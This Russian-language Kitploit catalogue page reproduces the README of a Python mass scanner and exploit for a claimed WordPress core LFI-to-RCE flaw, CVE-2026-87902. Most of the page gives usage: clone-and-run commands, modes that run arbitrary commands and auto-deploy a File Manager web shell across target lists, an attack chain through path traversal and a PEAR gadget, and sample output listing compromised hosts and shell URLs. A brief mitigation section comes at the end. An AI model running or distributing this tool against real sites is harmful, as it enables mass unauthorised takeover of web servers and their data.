Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-87902 — Массовый сканер и эксплойт на Python для CVE-2026-87902 — неаутентифицированного LFI в ядре WordPress в get_page_template(), эскалированного до RCE через цепочку гаджетов PEAR и шелл File Manager. | Kitploit
Инструменты/GitHubGitHub/hackfutsecroot/cve-2026-87902
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubhackfutsecroot/cve-2026-87902

CVE-2026-87902

Массовый сканер и эксплойт на Python для CVE-2026-87902 — неаутентифицированного LFI в ядре WordPress в get_page_template(), эскалированного до RCE через цепочку гаджетов PEAR и шелл File Manager.

РепозиторийСайт
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🎯 CVE-2026-87902 — WordPress Core LFI → RCE



🔍 Обзор · ⚡ Быстрый старт · 🎯 Использование · 📊 Вывод · 📞 Контакты


🔍 Обзор

CVE-2026-87902 — критическая уязвимость неаутентифицированного локального включения файлов (LFI) в ядре WordPress, которая приводит к удалённому выполнению кода (RCE) через цепочку гаджетов PEAR.

Уязвимость находится в wp-includes/template.php:get_page_template(), которая использует публичную переменную запроса pagename (считываемую из $_POST) для формирования имени шаблона без его проверки через validate_file(). Поскольку locate_template() выполняет только file_exists(), наличие реального каталога page-* внутри активной темы даёт полный обход пути.

🎯 Цепочка атаки

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ Уязвимые версии

ПродуктУязвимыеИсправленные
WordPress Core4.7.0 → 7.1.17.1.2+
Критичность🔴 КРИТИЧЕСКАЯ—
CVSS 4.09.8—
Аутентификация❌ Не требуется—

⚡ Быстрый старт

📦 Установка

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 Первый запуск

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Использование

📋 Доступные режимы

Режим Команда Описание
🔍 Проверка python main.py -l targets.txt --check Неразрушающее обнаружение LFI
💥 LFI python main.py -l targets.txt Подтверждение LFI с помощью OPML-оракула
⚡ RCE python main.py -l targets.txt --rce --command "id" Выполнение команд через PEAR
📁 Shell python main.py -l targets.txt --rce --shell Развёртывание File Manager

🔧 Параметры командной строки

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 Примеры

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Вывод

После успешного запуска создаются следующие файлы:

ФайлСодержимое
📄 results.txtПолный журнал сканирования
🎯 vulnerable.txtЦели с подтверждённым LFI
💀 rce.txtЦели с успешным RCE
📁 shells.txtURL-адреса файлового менеджера

🖥️ Пример вывода в консоли

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ Меры защиты

Если вы системный администратор:

  1. Обновите WordPress до 7.1.2 или более поздней версии
  2. Примените бэкпорты для вашей ветки:
    • 6.8.10, 7.0.6, 7.1.2
  3. Правило WAF: блокируйте запросы с pagename, содержащим ../ или %2e%2e
  4. Отключите register_argc_argv в php.ini (блокирует цепочку PEAR)
  5. Удалите pearcmd.php, если PEAR не нужен
; php.ini
register_argc_argv = Off

📞 Контакты

🌐 Свяжитесь с нами

Скачать инструмент